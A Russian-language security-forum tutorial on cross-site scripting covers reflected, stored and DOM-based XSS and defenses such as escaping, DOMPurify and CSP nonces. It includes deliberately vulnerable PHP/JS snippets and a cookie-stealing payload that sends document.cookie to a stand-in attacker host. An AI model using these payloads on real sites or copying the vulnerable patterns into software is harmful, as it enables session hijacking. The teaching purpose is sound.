• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Статья XSS-атака без секретов: от простого alert до захвата сессии

Сергей Попов

Администратор
30.12.2015
4 805
6 514
Концептуальная иллюстрация XSS-атаки: хакер-кукловод в капюшоне управляет браузером-марионеткой через нити из вредоносного <script> кода, символизируя уязвимость и захват контроля

Зачем нам снова говорить про XSS в 2025?​

Казалось бы, про XSS (Cross-Site Scripting) не слышал только ленивый. Уязвимость стара как мир, но почему мы опять поднимаем эту тему? Все просто. Загляните в свежие отчеты о пентестах или на Bug Bounty платформы. XSS никуда не делась. В рейтинге OWASP Top 10 за 2021 год она хоть и не выделена отдельным пунктом, но является ключевой частью категории A03:2021-Injection.

Причина ее живучести — в недооценке. Для одних это "просто alert() во всплывающем окне", для других — сложная в отладке клиентская логика навороченных фронтенд-фреймворков. И пока разработчики считают ее чем-то несерьезным, пользователи лишаются своих аккаунтов, а компании — репутации.

Эта статья — не очередное сухое перечисление фактов. Это выжимка опыта, которая поможет фронтендерам и начинающим спецам по ИБ понять механику XSS, научиться находить ее и, что самое главное, строить надежную защиту.

Анатомия XSS: разбираем три головы дракона​

XSS-атаки бывают трех основных видов: Reflected (отраженная), Stored (хранимая) и DOM-based (на основе DOM). У каждой своя специфика. Чтобы не путаться, давайте сразу разложим по полочкам.

Тип XSSМеханизм работыГде искать и чего бояться
ReflectedВредоносный скрипт — часть запроса (например, в URL). Сервер вставляет значение параметра в HTML-страницу без должного экранирования, и браузер жертвы сразу исполняет код. Требует участия пользователя (нужно заставить его перейти по ссылке).Параметры поиска, страницы ошибок, любые поля, чьи значения попадают со строки запроса прямо в HTML.
StoredСамый опасный тип. Вредоносный код сохраняется на сервере (в базе данных, в файле) и становится частью страницы. Атака срабатывает на всех, кто эту страницу откроет.Комментарии, посты на форумах, личные сообщения, поля профиля — все, что хранится в БД и выводится пользователям.
DOM-basedАтака происходит исключительно на стороне клиента. Вредоносный скрипт заставляет легитимный JavaScript самого сайта неправильно обработать данные и записать вредоносный код в DOM-структуру страницы. Сервер может даже не знать об атаке.Современные SPA-приложения (React, Angular, Vue). Искать в коде, который работает с location.hash, innerHTML, eval(), setTimeout() и другими DOM API.

Пример №1: Классическая Reflected XSS​

Это база, с которой все начинают. Представьте, что на сайте есть страница поиска, которая выводит ваш запрос: https://example.com/search?q=my-query.

Уязвимый код на сервере может выглядеть так (упрощенно):
PHP:
<?php
// Внимание: крайне небезопасный код!
?>
<h2>Результаты поиска по запросу: <?php echo $_GET['q']; ?></h2>
Злоумышленник формирует ссылку и отправляет ее жертве:
Код:
https://example.com/search?q=<script>alert('XSS от Codeby!')</script>
Жертва переходит по ней, и ее браузер, получив HTML от сервера, честно исполняет скрипт. Стоит отметить, что многие современные фреймворки и шаблонизаторы экранируют вывод по умолчанию, но уязвимости все еще встречаются из-за отключения защиты вручную или использования устаревших практик.

Пример №2: Опасная Stored XSS и кража сессии​

А вот тут уже все серьезно. Представим форум с комментариями. Пользователь оставляет свой отзыв, и он сохраняется в базе данных.

Эксплуатация:
Злоумышленник вместо обычного текста оставляет комментарий с вредоносным кодом:

HTML:
Крутая статья! Всем советую. <script src="http://attacker-site.com/payload.js"></script>
⚠️ Важное предупреждение об ответственности: Демонстрация кражи сессии приведена исключительно в образовательных целях. Использование подобных техник против реальных сайтов и пользователей незаконно. Тестирование на безопасность должно проводиться только в специально отведенных для этого средах (pentest lab) или с явного письменного разрешения владельца ресурса (bug bounty программы).
А что в файле payload.js?
Классический сценарий — кража сессионных cookie.
JavaScript:
// Этот код будет исполнен в браузере каждого посетителя
let stolenCookie = document.cookie;

// Создаем невидимое изображение, которое при попытке загрузки
// отправляет cookie жертвы на сервер атакующего в виде GET-параметра
new Image().src = 'http://attacker-site.com/steal?data=' + encodeURIComponent(stolenCookie);
Что это значит на практике? Злоумышленник получает session_id пользователя, вставляет его себе в браузер и получает полный доступ к аккаунту жертвы. Это называется захват сессии (Session Hijacking). Подобный вектор может быть реализован самыми разными способами, например, через обращение в поддержку, как описано в кейсе Предотвращение XSS: Полное руководство по защите веб-сайта.

Пример №3: Хитрая DOM-based XSS​

Этот тип атаки цветет и пахнет в современных JavaScript-приложениях. Уязвимость кроется в клиентском коде, который небезопасно манипулирует DOM. Опасными "приемниками" (sinks) выступают не только innerHTML, но и функции вроде eval() или setTimeout(), если им передается строка, которую контролирует пользователь.

Пример:
HTML:
<div id="username"></div>

<script>
    // Скрипт берет имя пользователя из хэша.
    // decodeURIComponent нужен, чтобы браузер правильно обработал спецсимволы в URL.
    let userName = decodeURIComponent(window.location.hash.substring(1));
 
    // И вставляет его прямо в HTML. Опасно!
    document.getElementById('username').innerHTML = "Добро пожаловать, " + userName + "!";
</script>
Атакующий создает ссылку:
Код:
https://vulnerable-site.com/#<img src=x onerror=alert('DOM XSS!')>
Пользователь переходит. Сервер отдает чистую страницу, но уже в браузере легитимный JavaScript берет вредоносный код из location.hash и вставляет его в DOM.

Строим крепость: методы защиты от XSS​

Теория — это хорошо, но как защищаться на практике? Вот арсенал, который должен быть у каждого разработчика.

1. Контекстное экранирование (Output Escaping)​

Это главный принцип. Никогда не доверяй данным, которые выводишь в HTML. Перед выводом любые пользовательские данные нужно обрабатывать.

НЕПРАВИЛЬНО:
PHP:
<?php echo "<div>$userInput</div>"; ?>
ПРАВИЛЬНО:
PHP:
<?php
// Безопасный вывод с экранированием
echo "<div>" . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . "</div>";
?>

2. Санитизация HTML (HTML Sanitization)​

Если вам нужно разрешить пользователям форматирование (теги <b>, <i>), простое экранирование не подойдет. На помощь приходит санитизация — фильтрация HTML, которая вырезает все опасные теги и атрибуты. Для этого используйте готовые библиотеки, например, DOMPurify для JavaScript.

3. Content-Security-Policy (CSP)​

CSP — это мощнейший защитный барьер в виде HTTP-заголовка. Он говорит браузеру, откуда можно загружать и выполнять ресурсы. Важно понимать, что CSP не панацея, но он значительно снижает поверхность атаки и блокирует большинство векторов эксплуатации XSS.

Более продвинутый пример с nonce:
Для максимальной защиты от инлайн-скриптов можно использовать nonce (случайное значение, уникальное для каждого запроса).
  1. Сервер генерирует случайную строку: nonce-R4nd0mStr1ng...
  2. Отправляет заголовок: Content-Security-Policy: script-src 'self' 'nonce-R4nd0mStr1ng...';
  3. Добавляет эту же строку ко всем легитимным тегам <script> на странице.
Любой скрипт без правильного nonce будет заблокирован браузером.

4. Дополнительный рубеж: WAF​

Web Application Firewall (WAF) — это еще один слой защиты. Он работает как фильтр перед вашим приложением и пытается блокировать вредоносные запросы. WAF — это хорошее дополнение, но он ни в коем случае не заменяет необходимость писать безопасный код. Он лишь дополняет его.

Чек-лист «быстрой профилактики» для разработчика​

✅ Никогда не доверяй пользовательскому вводу. Фильтруй на входе, экранируй на выходе.
✅ Используй .textContent вместо .innerHTML везде, где это возможно.
✅ Если нужен HTML от пользователя — используй санитизатор (например, DOMPurify).
✅ Внедри Content-Security-Policy (CSP). Начни с базовой политики и ужесточай ее.
✅ Понимай, как работает твой фреймворк. Знай про dangerouslySetInnerHTML и аналоги.
✅ Периодически сканируй приложение автоматизированными средствами (OWASP ZAP, Burp Suite), но помни, что главный инструмент — твоя голова.

Важно! Сканер — это не панацея. Он отлично находит простые Reflected и Stored XSS, но может пропустить сложную DOM-based XSS... Стоит отметить, что такие инструменты, как ZAP или Burp Suite, незаменимы и при поиске уязвимостей в современных API, что отлично показано в этом практическом кейсе по тестированию REST API.

Заключение​

XSS — это не просто alert(). Это реальная угроза, ведущая к компрометации аккаунтов, краже данных и финансовым потерям. Лучшая защита — это глубокое понимание вектора атаки и выстраивание эшелонированной обороны на всех уровнях приложения.

Надеюсь, этот разбор был полезен. Делитесь в комментариях своим опытом борьбы с XSS, интересными находками и любимыми инструментами. Давайте делать веб безопаснее вместе! А для тех, кто хочет не просто ознакомиться с темой, а систематически изучить уязвимости веб-приложений и сделать это своей профессией, существуют профильные образовательные программы, например, курс по тестированию на проникновение от создателей нашего сообщества.

Часто задаваемые вопросы (FAQ)​

1. Что такое XSS?
XSS (Cross-Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрять вредоносный JavaScript на веб-страницу, которую просматривают другие пользователи.

2. Какой тип XSS самый опасный?
Stored (хранимая) XSS считается наиболее опасной, так как вредоносный код сохраняется на сервере и атакует каждого пользователя, который заходит на уязвимую страницу.

3. В чем разница между XSS и другими атаками (CSRF, SQLi, XXE)?
Это частая путаница. XSS и CSRF — это, в первую очередь, клиентские атаки, направленные на браузер пользователя. XSS позволяет выполнить свой код, а CSRF — заставить браузер жертвы выполнить нежелательное действие. Гайд по этой атаке: CSRF-уязвимость: что это, примеры и надежная защита

В отличие от них, существуют и чисто серверные уязвимости, где злоумышленник атакует напрямую логику бэкенда. Яркие примеры — это SQL-инъекции (атака на базу данных) и XXE (атака на обработчик XML). Для тех, кто хочет копнуть глубже в эту тему, рекомендую почитать про автоматизацию эксплуатации SQL-инъекций и про то, как работают XXE-уязвимости.

4. Как защититься от XSS?
Ключевые методы: контекстное экранирование, санитизация HTML, использование строгой Content-Security-Policy (CSP) и понимание механизмов защиты, встроенных в ваш фреймворк.
 
  • Нравится
Реакции: N1GGA и f22
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы